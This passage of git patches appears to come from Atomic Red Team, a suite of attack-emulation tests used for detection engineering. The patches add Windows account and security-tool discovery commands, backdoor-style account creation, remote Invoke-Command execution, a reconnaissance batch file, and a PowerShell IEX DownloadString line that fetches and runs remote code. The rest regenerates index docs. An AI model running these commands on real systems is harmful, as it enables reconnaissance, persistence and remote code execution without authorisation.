atomic_tests: dscl . list /Users | grep -v '_' dscacheutil -q group dscacheutil -q user + +- name: Enumerate all user accounts + description: | + List all accounts + supported_platforms: + - windows + executor: + name: command_prompt + command: | + net user + net user /domain + dir c:\Users\ + cmdkey.exe /list + net localgroup "Users" + net localgroup + +- name: Enumerate all user accounts - PowerShell + description: | + List all accounts with PowerShell + supported_platforms: + - windows + executor: + name: powershell + command: | + net user + net user /domain + get-localuser + get-localgroupmembers -group Users + cmdkey.exe /list + ls C:/Users + get-childitem C:\Users\ + dir C:\Users\ + get-aduser -filter * + get-localgroup + net localgroup + +- name: Get logged on Users + description: | + List logged on users + supported_platforms: + - windows + executor: + name: command_prompt + command: | + query user + +- name: Get logged on users PowerShell + description: | + List logged on users powershell + supported_platforms: + - windows + executor: + name: powershell + command: | + query user From 4474d35ebfec7eaa31823c2f9876dc1d70188196 Mon Sep 17 00:00:00 2001 From: Swelc Date: Thu, 21 Jun 2018 22:56:16 -0500 Subject: [PATCH 31/91] Added Windows user/group queries --- atomics/T1087/T1087.yaml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/atomics/T1087/T1087.yaml b/atomics/T1087/T1087.yaml index c21459f2..966e49c7 100644 --- a/atomics/T1087/T1087.yaml +++ b/atomics/T1087/T1087.yaml @@ -138,8 +138,8 @@ atomic_tests: - windows executor: name: command_prompt - command: | - query user + command: | + query user - name: Get logged on users PowerShell description: | @@ -148,5 +148,5 @@ atomic_tests: - windows executor: name: powershell - command: | - query user + command: | + query user From 84fc0d80cdd9d2b8ae4f5797150669383db27694 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 22 Jun 2018 10:25:32 +0000 Subject: [PATCH 32/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1063/T1063.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/atomics/T1063/T1063.md b/atomics/T1063/T1063.md index d0cdc619..3b107073 100644 --- a/atomics/T1063/T1063.md +++ b/atomics/T1063/T1063.md @@ -41,9 +41,10 @@ Methods to identify Security Software on an endpoint ``` netsh.exe advfirewall firewall show all profiles tasklist.exe -tasklist.exe | findstr virus -tasklist.exe | findstr cb -tasklist.exe | findstr defender +tasklist.exe | findstr /i virus +tasklist.exe | findstr /i cb +tasklist.exe | findstr /i defender +tasklist.exe | findstr /i cylance ```

    @@ -59,6 +60,7 @@ Methods to identify Security Software on an endpoint powershell.exe get-process | ?{$_.Description -like "*virus*"} powershell.exe get-process | ?{$_.Description -like "*carbonblack*"} powershell.exe get-process | ?{$_.Description -like "*defender*"} +powershell.exe get-process | ?{$_.Description -like "*cylance*"} ```

    From 102ced9e0cfcec41a6a022345bb0235eb1125da1 Mon Sep 17 00:00:00 2001 From: CircleCI Atomic Red Team doc generator Date: Fri, 22 Jun 2018 10:36:09 +0000 Subject: [PATCH 33/91] Generate docs from job=validate_atomics_generate_docs branch=master --- atomics/T1087/T1087.md | 75 ++++++++++++++++++++++++++++++++++++++++ atomics/index.md | 4 +++ atomics/windows-index.md | 4 +++ 3 files changed, 83 insertions(+) diff --git a/atomics/T1087/T1087.md b/atomics/T1087/T1087.md index 123a2c15..1039f31c 100644 --- a/atomics/T1087/T1087.md +++ b/atomics/T1087/T1087.md @@ -42,6 +42,14 @@ Contributors: Travis Smith, Tripwire - [Atomic Test #6 - Enumerate Groups and users](#atomic-test-6---enumerate-groups-and-users) +- [Atomic Test #7 - Enumerate all user accounts](#atomic-test-7---enumerate-all-user-accounts) + +- [Atomic Test #8 - Enumerate all user accounts - PowerShell](#atomic-test-8---enumerate-all-user-accounts---powershell) + +- [Atomic Test #9 - Get logged on Users](#atomic-test-9---get-logged-on-users) + +- [Atomic Test #10 - Get logged on users PowerShell](#atomic-test-10---get-logged-on-users-powershell) +
    @@ -147,3 +155,70 @@ dscacheutil -q group dscacheutil -q user ```
    +
    + +## Atomic Test #7 - Enumerate all user accounts +List all accounts + +**Supported Platforms:** Windows + + +#### Run it with `command_prompt`! +``` +net user +net user /domain +dir c:\Users\ +cmdkey.exe /list +net localgroup "Users" +net localgroup +``` +
    +
    + +## Atomic Test #8 - Enumerate all user accounts - PowerShell +List all accounts with PowerShell + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +net user +net user /domain +get-localuser +get-localgroupmembers -group Users +cmdkey.exe /list +ls C:/Users +get-childitem C:\Users\ +dir C:\Users\ +get-aduser -filter * +get-localgroup +net localgroup +``` +
    +
    + +## Atomic Test #9 - Get logged on Users +List logged on users + +**Supported Platforms:** Windows + + +#### Run it with `command_prompt`! +``` +query user +``` +
    +
    + +## Atomic Test #10 - Get logged on users PowerShell +List logged on users powershell + +**Supported Platforms:** Windows + + +#### Run it with `powershell`! +``` +query user +``` +
    diff --git a/atomics/index.md b/atomics/index.md index be9dce3d..347f761d 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -308,6 +308,10 @@ - Atomic Test #4: List opened files by user [linux, macos] - Atomic Test #5: Show if a user account has ever logger in remotely [linux, macos] - Atomic Test #6: Enumerate Groups and users [linux, macos] + - Atomic Test #7: Enumerate all user accounts [windows] + - Atomic Test #8: Enumerate all user accounts - PowerShell [windows] + - Atomic Test #9: Get logged on Users [windows] + - Atomic Test #10: Get logged on users PowerShell [windows] - [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1083 File and Directory Discovery](./T1083/T1083.md) diff --git a/atomics/windows-index.md b/atomics/windows-index.md index d2846aa8..c7759ecf 100644 --- a/atomics/windows-index.md +++ b/atomics/windows-index.md @@ -205,6 +205,10 @@ # discovery - [T1087 Account Discovery](./T1087/T1087.md) + - Atomic Test #7: Enumerate all user accounts [windows] + - Atomic Test #8: Enumerate all user accounts - PowerShell [windows] + - Atomic Test #9: Get logged on Users [windows] + - Atomic Test #10: Get logged on users PowerShell [windows] - [T1010 Application Window Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1217 Browser Bookmark Discovery](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) - [T1083 File and Directory Discovery](./T1083/T1083.md) From 2f828a08a187ff58b1fa650a1db8ca7f05136d92 Mon Sep 17 00:00:00 2001 From: Swelc Date: Fri, 22 Jun 2018 15:57:16 -0500 Subject: [PATCH 34/91] Add test for Creating Account in Windows --- atomics/T1136/T1136.yaml | 32 ++++++++++++++++++++++++++++++++ 1 file changed, 32 insertions(+) diff --git a/atomics/T1136/T1136.yaml b/atomics/T1136/T1136.yaml index 09da49e7..2fb50841 100644 --- a/atomics/T1136/T1136.yaml +++ b/atomics/T1136/T1136.yaml @@ -45,3 +45,35 @@ atomic_tests: dscl . -create /Users/#{username} UniqueID "1010" dscl . -create /Users/#{username} PrimaryGroupID 80 dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username} + +- name: Create a new user in a command prompt + description: | + Creates a new user in a command prompt + supported_platforms: + - windows + input_arguments: + username: + description: Username of the user to create + type: String + default: Evil Account + executor: + name: command_prompt + command: | + net user /add #{username} + +- name: Create a new user in PowerShell + description: | + Creates a new user in PowerShell + supported_platforms: + - windows + input_arguments: + username: + description: Username of the user to create + type: String + default: Evil Account + executor: + name: powershell + command: | + New-LocalUser -Name #{username} -NoPassword + net user /add #{username} + From a9ba26bfa04982a669e7ba549e14ba54bbe934d0 Mon Sep 17 00:00:00 2001 From: Swelc Date: Fri, 22 Jun 2018 18:00:06 -0500 Subject: [PATCH 35/91] Added InvokeCommand to T1028 --- atomics/T1028/T1028.yaml | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/atomics/T1028/T1028.yaml b/atomics/T1028/T1028.yaml index 6342ac94..ae2c2a36 100644 --- a/atomics/T1028/T1028.yaml +++ b/atomics/T1028/T1028.yaml @@ -88,3 +88,22 @@ atomic_tests: name: command_prompt command: | psexec \\host -u domain\user -p password -s cmd.exe + +- name: Invoke-Command + description: | + Execute Invoke-command on remote host + supported_platforms: + - windows + input_arguments: + host_name: + description: Remote Windows Host Name + type: String + default: Test + remote_command: + description: Command to execute on remote Host + type: String + default: ipconfig + executor: + name: powershell + command: | + invoke-command -computername #{host_name} -scriptblock {#{remote_command}} From bd1800f2e77e7f7d9a2efaf2889475e1e421c040 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rgen=20Maas?= Date: Sat, 23 Jun 2018 09:51:49 +0200 Subject: [PATCH 36/91] Change executor for the rar test from powershell to command_prompt. --- atomics/T1002/T1002.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/atomics/T1002/T1002.yaml b/atomics/T1002/T1002.yaml index 35167ada..7952dc64 100644 --- a/atomics/T1002/T1002.yaml +++ b/atomics/T1002/T1002.yaml @@ -37,7 +37,7 @@ atomic_tests: type: Path default: exfilthis.rar executor: - name: powershell + name: command_prompt command: | rar a -r #{output_file} #{input_file} From 24a35f33e895aed21e9b7b1d6242bd62193df119 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rgen=20Maas?= Date: Sat, 23 Jun 2018 10:31:33 +0200 Subject: [PATCH 37/91] Add Discovery.bat to T1074 and fix the link accordingly in the YAML file. --- atomics/T1074/Discovery.bat | 44 +++++++++++++++++++++++++++++++++++++ atomics/T1074/T1074.yaml | 2 +- 2 files changed, 45 insertions(+), 1 deletion(-) create mode 100644 atomics/T1074/Discovery.bat diff --git a/atomics/T1074/Discovery.bat b/atomics/T1074/Discovery.bat new file mode 100644 index 00000000..8c51854a --- /dev/null +++ b/atomics/T1074/Discovery.bat @@ -0,0 +1,44 @@ +net user Administrator /domain +net Accounts +net localgroup administrators +net use +net share +net group "domain admins" /domain +net config workstation +net accounts +net accounts /domain +net view +sc query +reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunServices +reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify +reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit +reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell +reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell +reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce +reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run +reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run +wmic useraccount list +wmic useraccount get /ALL +wmic startup list brief +wmic share list +wmic service get name,displayname,pathname,startmode +wmic process list brief +wmic process get caption,executablepath,commandline +wmic qfe get description,installedOn /format:csv +arp -a +whoami +ipconfig /displaydns +route print +netsh advfirewall show allprofiles +systeminfo +qwinsta +quser diff --git a/atomics/T1074/T1074.yaml b/atomics/T1074/T1074.yaml index 7b081537..14c3dd2a 100644 --- a/atomics/T1074/T1074.yaml +++ b/atomics/T1074/T1074.yaml @@ -13,4 +13,4 @@ atomic_tests: executor: name: powershell command: | - powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/Discovery.bat')" > c:\windows\pi.log + powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074/Discovery.bat')" > c:\windows\pi.log From f260d9f28ca291e947b7c9de98ba62f68c4c89eb Mon Sep 17 00:00:00 2001 From: Brian Beyer Date: Sat, 23 Jun 2018 09:42:29 -0600 Subject: [PATCH 38/91] Fix contributing link (#270) * Fix contributing link * Generate docs from job=validate_atomics_generate_docs branch=fix-index-contributing-link --- atomic_red_team/atomic_red_team.rb | 4 +- atomics/index.md | 304 ++++++++++++++--------------- atomics/linux-index.md | 152 +++++++-------- atomics/linux-matrix.md | 40 ++-- atomics/macos-index.md | 170 ++++++++-------- atomics/macos-matrix.md | 48 ++--- atomics/matrix.md | 102 +++++----- atomics/windows-index.md | 274 +++++++++++++------------- atomics/windows-matrix.md | 86 ++++---- 9 files changed, 590 insertions(+), 590 deletions(-) diff --git a/atomic_red_team/atomic_red_team.rb b/atomic_red_team/atomic_red_team.rb index e362d31b..d9f64ce0 100755 --- a/atomic_red_team/atomic_red_team.rb +++ b/atomic_red_team/atomic_red_team.rb @@ -57,7 +57,7 @@ class AtomicRedTeam "[#{link_display}](./#{technique_identifier}/#{technique_identifier}.md)" else # we don't have a file for this technique, so link to an edit page - "[#{link_display}](#{ROOT_GITHUB_URL}/blob/uppercase-everything/CONTRIBUTING.md)" + "#{link_display} [CONTRIBUTE A TEST](https://atomicredteam.io/contributing)" end end @@ -126,4 +126,4 @@ class AtomicRedTeam end end end -end \ No newline at end of file +end diff --git a/atomics/index.md b/atomics/index.md index 347f761d..ddefd92f 100644 --- a/atomics/index.md +++ b/atomics/index.md @@ -10,32 +10,32 @@ - Atomic Test #5: Attaches Command Prompt As Debugger To Process - narrator [windows] - Atomic Test #6: Attaches Command Prompt As Debugger To Process - DisplaySwitch [windows] - Atomic Test #7: Attaches Command Prompt As Debugger To Process - AtBroker [windows] -- [T1182 AppCert DLLs](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1182 AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1103 AppInit DLLs](./T1103/T1103.md) - Atomic Test #1: Install AppInit Shim [windows] - [T1138 Application Shimming](./T1138/T1138.md) - Atomic Test #1: Application Shim Installation [windows] -- [T1131 Authentication Package](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1131 Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1067 Bootkit](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1067 Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1176 Browser Extensions](./T1176/T1176.md) - Atomic Test #1: Chrome (Developer Mode) [linux, windows, macos] - Atomic Test #2: Chrome (Chrome Web Store) [linux, windows, macos] - Atomic Test #3: Firefox [linux, windows, macos] - [T1042 Change Default File Association](./T1042/T1042.md) - Atomic Test #1: Change Default File Association [windows] -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] - [T1136 Create Account](./T1136/T1136.md) - Atomic Test #1: Create a user account on a Linux system [linux] - Atomic Test #2: Create a user account on a MacOS system [macos] -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1157 Dylib Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1133 External Remote Services](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1044 File System Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1157 Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1133 External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1044 File System Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1158 Hidden Files and Directories](./T1158/T1158.md) - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos] - Atomic Test #2: Mac Hidden file [macos] @@ -47,13 +47,13 @@ - Atomic Test #8: Create hidden directories and files [macos, linux] - [T1179 Hooking](./T1179/T1179.md) - Atomic Test #1: Hook PowerShell TLS Encrypt/Decrypt Messages [windows] -- [T1062 Hypervisor](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1062 Hypervisor [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1215 Kernel Modules and Extensions](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1161 LC_LOAD_DYLIB Addition](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1177 LSASS Driver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1215 Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1161 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1177 LSASS Driver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1159 Launch Agent](./T1159/T1159.md) - Atomic Test #1: Launch Agent [macos] - [T1160 Launch Daemon](./T1160/T1160.md) @@ -63,11 +63,11 @@ - [T1168 Local Job Scheduling](./T1168/T1168.md) - Atomic Test #1: Cron Job [macos, centos, ubuntu, linux] - Atomic Test #2: Cron Job [macos, centos, ubuntu, linux] -- [T1162 Login Item](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1162 Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1037 Logon Scripts](./T1037/T1037.md) - Atomic Test #1: Logon Scripts [windows] - Atomic Test #2: Logon Scripts - Mac [macos] -- [T1031 Modify Existing Service](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1031 Modify Existing Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1128 Netsh Helper DLL](./T1128/T1128.md) - Atomic Test #1: Netsh Helper DLL Registration [windows] - [T1050 New Service](./T1050/T1050.md) @@ -75,43 +75,43 @@ - Atomic Test #2: Service Installation PowerShell Installs A Local Service using PowerShell [windows] - [T1137 Office Application Startup](./T1137/T1137.md) - Atomic Test #1: DDEAUTO [windows] -- [T1034 Path Interception](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1034 Path Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1013 Port Monitors](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1205 Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1013 Port Monitors [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1163 Rc.common](./T1163/T1163.md) - Atomic Test #1: rc.common [macos] - [T1164 Re-opened Applications](./T1164/T1164.md) - Atomic Test #1: Re-Opened Applications [macos] - Atomic Test #2: Re-Opened Applications [macos] -- [T1108 Redundant Access](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1108 Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1060 Registry Run Keys / Start Folder](./T1060/T1060.md) - Atomic Test #1: Reg Key Run [windows] - Atomic Test #2: Reg Key RunOnce [windows] - Atomic Test #3: PowerShell Registry RunOnce [windows] - Atomic Test #4: Startup Folder [windows] -- [T1198 SIP and Trust Provider Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1198 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1053 Scheduled Task](./T1053/T1053.md) - Atomic Test #1: At.exe Scheduled task [windows] - Atomic Test #2: Scheduled task Local [windows] - Atomic Test #3: Scheduled task Remote [windows] -- [T1180 Screensaver](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1101 Security Support Provider](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1058 Service Registry Permissions Weakness](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1023 Shortcut Modification](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1180 Screensaver [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1101 Security Support Provider [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1058 Service Registry Permissions Weakness [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1023 Shortcut Modification [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1165 Startup Items](./T1165/T1165.md) - Atomic Test #1: Startup Items [macos] -- [T1019 System Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1209 Time Providers](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1019 System Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1209 Time Providers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1154 Trap](./T1154/T1154.md) - Atomic Test #1: Trap [macos, centos, ubuntu, linux] -- [T1078 Valid Accounts](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1100 Web Shell](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1078 Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1100 Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1084 Windows Management Instrumentation Event Subscription](./T1084/T1084.md) - Atomic Test #1: Persistence [windows] - Atomic Test #2: Persistence Cleanup [windows] -- [T1004 Winlogon Helper DLL](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1004 Winlogon Helper DLL [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) # defense-evasion - [T1134 Access Token Manipulation](./T1134/T1134.md) @@ -119,8 +119,8 @@ - [T1197 BITS Jobs](./T1197/T1197.md) - Atomic Test #1: Download & Execute [windows] - Atomic Test #2: Download & Execute via PowerShell BITS [windows] -- [T1009 Binary Padding](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1088 Bypass User Account Control](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1009 Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1088 Bypass User Account Control [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1191 CMSTP](./T1191/T1191.md) - Atomic Test #1: CMSTP Executing Remote Scriptlet [windows] - [T1146 Clear Command History](./T1146/T1146.md) @@ -130,15 +130,15 @@ - Atomic Test #4: Clear Bash history (ln dev/null) [linux, macos] - Atomic Test #5: Clear Bash history (truncate) [linux] - Atomic Test #6: Clear history of a bunch of shells [linux, macos] -- [T1116 Code Signing](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1109 Component Firmware](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1116 Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1109 Component Firmware [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1122 Component Object Model Hijacking](./T1122/T1122.md) - Atomic Test #1: PowerShell UAC Bypass [windows] -- [T1196 Control Panel Items](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1196 Control Panel Items [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1207 DCShadow](./T1207/T1207.md) - Atomic Test #1: DCShadow - Mimikatz [windows] -- [T1038 DLL Search Order Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1073 DLL Side-Loading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1038 DLL Search Order Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1073 DLL Side-Loading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1140 Deobfuscate/Decode Files or Information](./T1140/T1140.md) - Atomic Test #1: Deobfuscate/Decode Files Or Information [windows] - [T1089 Disabling Security Tools](./T1089/T1089.md) @@ -149,8 +149,8 @@ - Atomic Test #5: Disable Carbon Black Response [macos] - Atomic Test #6: Disable LittleSnitch [macos] - Atomic Test #7: Disable OpenDNS Umbrella [macos] -- [T1211 Exploitation for Defense Evasion](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1181 Extra Window Memory Injection](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1181 Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1107 File Deletion](./T1107/T1107.md) - Atomic Test #1: Victim configuration [linux] - Atomic Test #2: Delete a single file [linux] @@ -165,7 +165,7 @@ - Atomic Test #11: Delete VSS - wmic [windows] - Atomic Test #12: bcdedit [windows] - Atomic Test #13: wbadmin [windows] -- [T1006 File System Logical Offsets](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1006 File System Logical Offsets [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1144 Gatekeeper Bypass](./T1144/T1144.md) - Atomic Test #1: Gatekeeper Bypass [macos] - [T1148 HISTCONTROL](./T1148/T1148.md) @@ -180,12 +180,12 @@ - Atomic Test #8: Create hidden directories and files [macos, linux] - [T1147 Hidden Users](./T1147/T1147.md) - Atomic Test #1: Hidden Users [macos] -- [T1143 Hidden Window](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1143 Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1183 Image File Execution Options Injection](./T1183/T1183.md) - Atomic Test #1: IFEO Add Debugger [windows] - Atomic Test #2: IFEO GLobal Flags [windows] -- [T1054 Indicator Blocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1066 Indicator Removal from Tools](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1054 Indicator Blocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1066 Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1070 Indicator Removal on Host](./T1070/T1070.md) - Atomic Test #1: Clear Logs [windows] - Atomic Test #2: FSUtil [windows] @@ -197,26 +197,26 @@ - Atomic Test #1: Install root CA on CentOS/RHEL [linux] - [T1118 InstallUtil](./T1118/T1118.md) - Atomic Test #1: InstallUtil uninstall method call [windows] -- [T1149 LC_MAIN Hijacking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1149 LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1152 Launchctl](./T1152/T1152.md) - Atomic Test #1: Launchctl [macos] -- [T1036 Masquerading](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1112 Modify Registry](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1036 Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1112 Modify Registry [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1170 Mshta](./T1170/T1170.md) - Atomic Test #1: Mshta executes JavaScript Scheme Fetch Remote Payload With GetObject [windows] - [T1096 NTFS File Attributes](./T1096/T1096.md) - Atomic Test #1: Alternate Data Streams (ADS) [windows] -- [T1126 Network Share Connection Removal](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1027 Obfuscated Files or Information](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) +- T1126 Network Share Connection Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) +- T1027 Obfuscated Files or Information [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - [T1150 Plist Modification](./T1150/T1150.md) - Atomic Test #1: Plist Modification [macos] -- [T1205 Port Knocking](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1186 Process Doppelgänging](https://github.com/redcanaryco/atomic-red-team/blob/uppercase-everything/CONTRIBUTING.md) -- [T1093 Process 